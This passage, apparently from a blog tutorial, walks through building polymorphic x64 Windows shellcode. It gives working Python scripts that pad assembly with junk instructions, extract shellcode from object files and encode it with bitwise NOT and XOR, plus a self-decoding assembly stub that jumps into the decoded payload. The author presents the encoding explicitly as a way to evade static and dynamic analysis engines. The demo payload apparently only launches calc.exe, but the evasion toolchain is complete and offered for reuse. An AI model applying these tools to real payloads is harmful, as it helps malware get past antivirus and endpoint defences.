    <span class="sh">"</span><span class="s">rol {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">ror {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">inc {reg}</span><span class="sh">"</span><span class="p">,</span>  <span class="c1"># Added inc
</span>    <span class="sh">"</span><span class="s">nop</span><span class="sh">"</span>
<span class="p">]</span>

<span class="n">two_reg_templates</span> <span class="o">=</span> <span class="p">[</span>
    <span class="sh">"</span><span class="s">xchg {reg1}, {reg2} ; xchg {reg1}, {reg2}</span><span class="sh">"</span><span class="p">,</span>
<span class="p">]</span>

<span class="k">def</span> <span class="nf">is_flag_setter</span><span class="p">(</span><span class="n">clean</span><span class="p">):</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">clean</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">parts</span> <span class="o">=</span> <span class="n">clean</span><span class="p">.</span><span class="nf">split</span><span class="p">()</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">parts</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">opcode</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">lower</span><span class="p">()</span>
    <span class="n">flag_setters</span> <span class="o">=</span> <span class="p">{</span><span class="sh">"</span><span class="s">xor</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">add</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">sub</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">cmp</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">test</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">inc</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">imul</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">shl</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">shr</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">rol</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">ror</span><span class="sh">"</span><span class="p">}</span> <span class="c1">#removed LEA
</span>    <span class="k">return</span> <span class="n">opcode</span> <span class="ow">in</span> <span class="n">flag_setters</span>

<span class="k">def</span> <span class="nf">is_conditional</span><span class="p">(</span><span class="n">clean</span><span class="p">):</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">clean</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">parts</span> <span class="o">=</span> <span class="n">clean</span><span class="p">.</span><span class="nf">split</span><span class="p">()</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">parts</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">opcode</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">lower</span><span class="p">()</span>
    <span class="n">conditionals</span> <span class="o">=</span> <span class="p">{</span><span class="sh">"</span><span class="s">jz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">je</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jne</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">ja</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jae</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jb</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jbe</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jc</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jcxz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jecxz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jrcxz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jg</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jge</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jl</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jle</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jna</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnae</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnb</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnbe</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnc</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jno</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnp</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jo</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jp</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jpe</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jpo</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">js</span><span class="sh">"</span><span class="p">}</span>
    <span class="k">return</span> <span class="n">opcode</span> <span class="ow">in</span> <span class="n">conditionals</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Usage: python asm_obfuscator.py input.asm</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

    <span class="n">filename</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">lines</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">readlines</span><span class="p">()</span>

    <span class="n">used</span> <span class="o">=</span> <span class="nf">find_used_regs</span><span class="p">(</span><span class="n">lines</span><span class="p">)</span>
    <span class="n">all_gprs</span> <span class="o">=</span> <span class="nf">list</span><span class="p">(</span><span class="n">all_reg_variants</span><span class="p">.</span><span class="nf">keys</span><span class="p">())</span>
    <span class="n">candidates</span> <span class="o">=</span> <span class="p">[</span><span class="n">r</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">all_gprs</span> <span class="k">if</span> <span class="n">r</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">]]</span>
    <span class="n">unused</span> <span class="o">=</span> <span class="p">[</span><span class="n">r</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">candidates</span> <span class="k">if</span> <span class="n">r</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">used</span><span class="p">]</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Unused registers (excluding rsp, rbp): </span><span class="si">{</span><span class="n">unused</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span> <span class="nb">file</span><span class="o">=</span><span class="n">sys</span><span class="p">.</span><span class="n">stderr</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">unused</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">No unused registers available. Exiting without modification.</span><span class="sh">"</span><span class="p">,</span> <span class="nb">file</span><span class="o">=</span><span class="n">sys</span><span class="p">.</span><span class="n">stderr</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

    <span class="n">insert_prob</span> <span class="o">=</span> <span class="mf">0.9</span>
    <span class="n">output_lines</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">lines</span><span class="p">):</span>
        <span class="n">line</span> <span class="o">=</span> <span class="n">lines</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="nf">rstrip</span><span class="p">()</span>
        <span class="n">output_lines</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
        <span class="n">clean</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">;</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nf">strip</span><span class="p">()</span>
        <span class="n">insert_here</span> <span class="o">=</span> <span class="bp">True</span>
        <span class="k">if</span> <span class="n">clean</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">clean</span><span class="p">.</span><span class="nf">startswith</span><span class="p">((</span><span class="sh">'</span><span class="s">.</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">SECTION</span><span class="sh">'</span><span class="p">))</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">clean</span><span class="p">.</span><span class="nf">endswith</span><span class="p">(</span><span class="sh">'</span><span class="s">:</span><span class="sh">'</span><span class="p">):</span>
            <span class="c1"># Check if we should skip insertion to avoid breaking flags for conditional jumps
</span>            <span class="k">if</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">lines</span><span class="p">):</span>
                <span class="n">next_line</span> <span class="o">=</span> <span class="n">lines</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
                <span class="n">next_clean</span> <span class="o">=</span> <span class="n">next_line</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">;</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nf">strip</span><span class="p">()</span>
                <span class="k">if</span> <span class="nf">is_flag_setter</span><span class="p">(</span><span class="n">clean</span><span class="p">)</span> <span class="ow">and</span> <span class="nf">is_conditional</span><span class="p">(</span><span class="n">next_clean</span><span class="p">):</span>
                    <span class="n">insert_here</span> <span class="o">=</span> <span class="bp">False</span>
            <span class="k">if</span> <span class="n">random</span><span class="p">.</span><span class="nf">random</span><span class="p">()</span> <span class="o">&lt;</span> <span class="n">insert_prob</span> <span class="ow">and</span> <span class="n">insert_here</span><span class="p">:</span>
                <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">unused</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">random</span><span class="p">.</span><span class="nf">random</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mf">0.7</span><span class="p">:</span>
                    <span class="n">reg1</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">unused</span><span class="p">)</span>
                    <span class="n">reg2</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">([</span><span class="n">r</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">unused</span> <span class="k">if</span> <span class="n">r</span> <span class="o">!=</span> <span class="n">reg1</span><span class="p">])</span>
                    <span class="n">templ</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">two_reg_templates</span><span class="p">)</span>
                    <span class="n">instr</span> <span class="o">=</span> <span class="n">templ</span><span class="p">.</span><span class="nf">format</span><span class="p">(</span><span class="n">reg1</span><span class="o">=</span><span class="n">reg1</span><span class="p">,</span> <span class="n">reg2</span><span class="o">=</span><span class="n">reg2</span><span class="p">)</span>
                <span class="k">else</span><span class="p">:</span>
                    <span class="n">reg</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">unused</span><span class="p">)</span>
                    <span class="n">templ</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">single_reg_templates</span><span class="p">)</span>
                    <span class="n">instr</span> <span class="o">=</span> <span class="n">templ</span><span class="p">.</span><span class="nf">format</span><span class="p">(</span><span class="n">reg</span><span class="o">=</span><span class="n">reg</span><span class="p">)</span>
                <span class="n">output_lines</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="sh">"</span><span class="s">    </span><span class="sh">"</span> <span class="o">+</span> <span class="n">instr</span><span class="p">)</span>
        <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>

    <span class="n">output_file</span> <span class="o">=</span> <span class="n">filename</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">.asm</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">_mod.asm</span><span class="sh">'</span><span class="p">)</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">output_file</span><span class="p">,</span> <span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="sh">'</span><span class="se">\n</span><span class="sh">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">output_lines</span><span class="p">)</span> <span class="o">+</span> <span class="sh">'</span><span class="se">\n</span><span class="sh">'</span><span class="p">)</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Modified assembly written to </span><span class="si">{</span><span class="n">output_file</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>here’s what my original calc.asm assembly code looks like after I run it:</p>

<p><img width="974" height="255" alt="image" src="https://github.com/user-attachments/assets/63f4bdce-5913-4ada-a87d-486dfe5d5493" /></p>

<iframe width="1080" height="720" src="https://www.youtube.com/embed/MThxY9pkotI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe>
<p><br /><br /></p>

<p>Now, let’s compile this using nasm to get our .obj file:</p>

<blockquote>
  <p>nasm -fwin64 locate_kernel32_mod.asm</p>
</blockquote>

<p>Next, we want to extract the shellcode from the compiled assembly .obj file.  I wrote a python script to do just that to help you out (and me! 😺).  I used to have to resort to Linux to extract the shellcode, but I got tired of booting up my VM. LOL</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">re</span>
<span class="kn">import</span> <span class="n">subprocess</span>
<span class="kn">import</span> <span class="n">sys</span>

<span class="k">def</span> <span class="nf">generateshellcode</span><span class="p">(</span><span class="n">obj_file</span><span class="p">):</span>
    <span class="c1"># Run objdump and capture output
</span>    <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="nf">run</span><span class="p">([</span><span class="sh">'</span><span class="s">objdump</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">-D</span><span class="sh">'</span><span class="p">,</span> <span class="n">obj_file</span><span class="p">],</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">check</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">objdump_output</span> <span class="o">=</span> <span class="n">result</span><span class="p">.</span><span class="n">stdout</span>
    <span class="n">objdump_output</span> <span class="o">=</span> <span class="n">objdump_output</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">"</span><span class="s"> &lt;</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">--|</span><span class="sh">"</span><span class="p">)</span>
    <span class="c1">#objdump_output = re.sub(r'&lt;', '', objdump_output)
</span>    <span class="n">pattern</span> <span class="o">=</span> <span class="sa">r</span><span class="sh">'</span><span class="s">(?&lt;![a-zA-Z])[0-9a-fA-F]{2} </span><span class="sh">'</span>
    <span class="n">matches</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nf">findall</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span> <span class="n">objdump_output</span><span class="p">,</span> <span class="n">flags</span><span class="o">=</span><span class="n">re</span><span class="p">.</span><span class="n">IGNORECASE</span><span class="p">)</span>
    
    <span class="n">finalmatch</span><span class="o">=</span><span class="p">[]</span>
    <span class="k">for</span> <span class="k">match</span> <span class="ow">in</span> <span class="n">matches</span><span class="p">:</span>
        <span class="n">finalmatch</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="k">match</span><span class="p">.</span><span class="nf">strip</span><span class="p">())</span>  
    <span class="c1">#print(finalmatch)        
</span>    
    <span class="n">prefixed_hex</span> <span class="o">=</span> <span class="p">[</span><span class="sh">'</span><span class="se">\\</span><span class="s">x</span><span class="sh">'</span> <span class="o">+</span> <span class="n">hex_val</span> <span class="k">for</span> <span class="n">hex_val</span> <span class="ow">in</span> <span class="n">finalmatch</span><span class="p">]</span>


    <span class="c1">#finalshellcode = ', '.join(prefixed_hex)
</span>    <span class="n">finalshellcode</span> <span class="o">=</span> <span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">prefixed_hex</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="n">finalshellcode</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">'</span><span class="s">__main__</span><span class="sh">'</span><span class="p">:</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">obj_file</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">findhex.py [.obj file]</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">exit</span><span class="p">()</span>
    <span class="nf">generateshellcode</span><span class="p">(</span><span class="n">obj_file</span><span class="p">)</span>
</code></pre></div></div>

<p><img width="1462" height="358" alt="image" src="https://github.com/user-attachments/assets/46502d42-aedc-4804-af38-4b8527a4ba64" /></p>

<h2 id="polymorphic-prep-part-2---the-encoder---bitwise-not--xor">Polymorphic prep part 2 - The Encoder - Bitwise NOT + XOR</h2>

<p>Now that we have our shellcode, we need to encode it to add more layers of polymorphism to our code!  I’m a huge fan of Bitwise NOT and I feel like it doesn’t get the attention it deserves.  It’s quite easy to work with, and can easily be incorporated into your encoding arsenal. 😸  Here’s how it works.  We will place our newly generated shellcode in the <code class="language-plaintext highlighter-rouge">shellcode</code> variable.  Next, we simply run the script I went ahead and put together for you below.  It will generate shellcode encoded with the <code class="language-plaintext highlighter-rouge">Bitwise NOT</code> operation combined with the familiar XOR Bitwise operation.  The script will also inform us as to the location of our <code class="language-plaintext highlighter-rouge">key</code> that we used when encoding the shellcode.  This key will be in the encoded shellcode itself! 🤯  This affords us not only great evasion for general static and dynamic analysis engines, but also introduces yet more polymorphism into our code, as this location will always change depending on the encoding key value you choose to use.  This is essentially a self-decoding shellcode stub.  These self-decrypting/self-decoding shellcode stubs are commonly seen in buffer overflow exploits.  I chose <code class="language-plaintext highlighter-rouge">0xAC</code> for our encoding key by the way for this particular example.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">sys</span>

<span class="n">shellcode</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x4d\x87\xe6\x48\x83\xec\x28\x48\x8d\x3f\x48\x83\xe4\xf0\x4d\x87\xf4\x48\x31\xc9\x49\x87\xfc\x65\x48\x8b\x04\x25\x30\x00\x00\x00\x48\x8b\x40\x60\x48\x31\xff\x48\x8b\x40\x18\x49\x87\xfe\x48\x8b\x70\x10\x48\x83\xc7\x00\x48\x8b\x36\x4c\x87\xef\x48\x8b\x4e\x60\x4c\x87\xef\x48\x8b\x19\x4d\x87\xec\x48\xba\x4b\x00\x45\x00\x52\x00\x4e\x00\x48\x31\xff\x48\x39\xd3\x74\x08\x49\x87\xfc\x75\xd6\x4c\x87\xe7\x48\x8b\x5e\x30\x4d\x89\xf6\x49\x89\xd8\x4d\x87\xe5\x8b\x5b\x3c\x4d\x6b\xe4\x01\x4c\x01\xc3\x4d\x89\xe4\x48\x31\xc9\x49\xc1\xe5\x00\x66\x81\xc1\xff\x88\x4d\x87\xee\x48\xc1\xe9\x08\x49\xc1\xcc\x00\x8b\x14\x0b\x4c\x87\xe7\x4c\x01\xc2\x4d\x89\xed\x44\x8b\x52\x14\x4d\x31\xed\x4d\x31\xdb\x49\x83\xec\x00\x44\x8b\x5a\x20\x49\x83\xfe\x00\x4d\x01\xc3\x4d\x87\xee\x4c\x89\xd1\x4c\x87\xef\x48\xb8\xa8\x96\x91\xba\x87\x9a\x9c\x6f\x48\xc1\xcf\x00\x48\xf7\xd0\x49\x87\xfd\x48\xc1\xe0\x08\x4d\x89\xed\x48\xc1\xe8\x08\x4d\x87\xe6\x50\x4d\x85\xf6\x48\x89\xe0\x49\x87\xfe\x48\x83\xc4\x08\x4d\x89\xe4\x67\xe3\x30\x49\x87\xfe\x31\xdb\x49\x87\xfc\x41\x8b\x1c\x8b\x48\xc1\xe7\x00\x4c\x01\xc3\x4d\x87\xe6\x48\xff\xc9\x49\x87\xfc\x4c\x8b\x08\x4d\x87\xf4\x4c\x39\x0b\x74\x0d\x4d\x87\xee\x75\xd1\x49\xc1\xe6\x00\xcc\x49\x87\xfc\xff\xc1\x4d\x85\xe4\x4d\x31\xdb\x4d\x87\xf4\x44\x8b\x5a\x1c\x4c\x87\xf7\x4d\x01\xc3\x4d\x87\xec\x45\x8b\x3c\x8b\x49\x87\xfe\x4d\x01\xc7\x4d\x31\xf6\x48\x31\xc0\x49\x83\xc5\x00\x50\x49\x87\xfd\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x49\x83\xfc\x00\x48\xf7\xd0\x4d\x87\xee\x50\x49\x87\xfe\x48\x89\xe1\x4d\x85\xe4\x48\x31\xd2\x4d\x87\xee\x48\xff\xc2\x49\x87\xfe\x48\x83\xec\x30\x49\x87\xfc\x41\xff\xd7\x4d\x87\xf4</span><span class="sh">"</span>

<span class="n">xor_key</span> <span class="o">=</span> <span class="mh">0xAC</span>  <span class="c1"># Use a key that avoids bad characters
</span>
<span class="n">encoded_shellcode</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">()</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):</span>
    <span class="n">chunk</span> <span class="o">=</span> <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span>
    <span class="n">value</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="nf">from_bytes</span><span class="p">(</span><span class="n">chunk</span><span class="p">,</span> <span class="sh">'</span><span class="s">little</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">not_value</span> <span class="o">=</span> <span class="p">(</span><span class="o">~</span><span class="n">value</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFFFFFFFFFF</span>
    <span class="n">not_chunk</span> <span class="o">=</span> <span class="n">not_value</span><span class="p">.</span><span class="nf">to_bytes</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sh">'</span><span class="s">little</span><span class="sh">'</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">not_chunk</span><span class="p">:</span>
        <span class="n">encoded_shellcode</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">b</span> <span class="o">^</span> <span class="n">xor_key</span><span class="p">)</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="mi">8</span>

<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Encoded Shellcode: </span><span class="si">{</span><span class="sh">'</span><span class="s">,</span><span class="sh">'</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="sa">f</span><span class="sh">'</span><span class="s">0x</span><span class="si">{</span><span class="n">b</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="sh">'</span><span class="s"> for b in encoded_shellcode])</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="n">positions</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">byte</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">encoded_shellcode</span><span class="p">)</span> <span class="k">if</span> <span class="n">byte</span> <span class="o">==</span> <span class="n">xor_key</span><span class="p">]</span>

<span class="k">if</span> <span class="n">positions</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Found 0xAC at position(s): </span><span class="si">{</span><span class="n">positions</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">0xAC not found in the shellcode</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Here’s the output I received after running the script:</strong></p>

<p><img width="1473" height="476" alt="image" src="https://github.com/user-attachments/assets/a1e0410a-30f5-407e-82dc-3b0c24203af6" /></p>

<h2 id="polymorphic-prep-part-2-continued---the-decoder-x64-assembly-code">Polymorphic prep part 2 continued - The Decoder x64 Assembly code</h2>

<p>Cool, so now that we have our encoded shellcode, we now need to write a decoder in x64 assembly.  Just pick one of the index locations the script discovered as your decoding key and apply it to our .asm file below;  I chose key index <code class="language-plaintext highlighter-rouge">38</code>.  This will be used to yet once again compile our shellcode with an additional layer of polymorphism!  Notice how I added <code class="language-plaintext highlighter-rouge">38</code> here:</p>

<blockquote>
  <p>mov r9b, [rel encoded_shellcode + 38]</p>
</blockquote>

<p>That’s the index for the location of our decryption key in the shellcode itself.  Ok, let’s check out that assembly code shall we?</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">;ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.data</span> 

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>

<span class="nl">main:</span>
    <span class="c1">; Decode loop (use LEA for RIP-relative address)</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">r9b</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span> <span class="o">+</span> <span class="mi">38</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nv">encoded_shellcode_len</span>   <span class="c1">; Immediate value, no rel needed</span>
<span class="nl">decode_loop:</span>
    <span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>
    <span class="nf">xor</span> <span class="nb">al</span><span class="p">,</span> <span class="nb">r9b</span>           <span class="c1">; 0xAC</span>
    <span class="nf">not</span> <span class="nb">al</span>             <span class="c1">; Undo NOT encoding</span>
    <span class="nf">mov</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">],</span> <span class="nb">al</span>
    <span class="nf">inc</span> <span class="nb">rsi</span>
    <span class="nf">loop</span> <span class="nv">decode_loop</span>

    <span class="c1">; Jump to decoded shellcode (reload address for jmp)</span>
    <span class="nf">lea</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>
    <span class="nf">jmp</span> <span class="nb">rax</span>
	
<span class="nl">encoded_shellcode:</span>
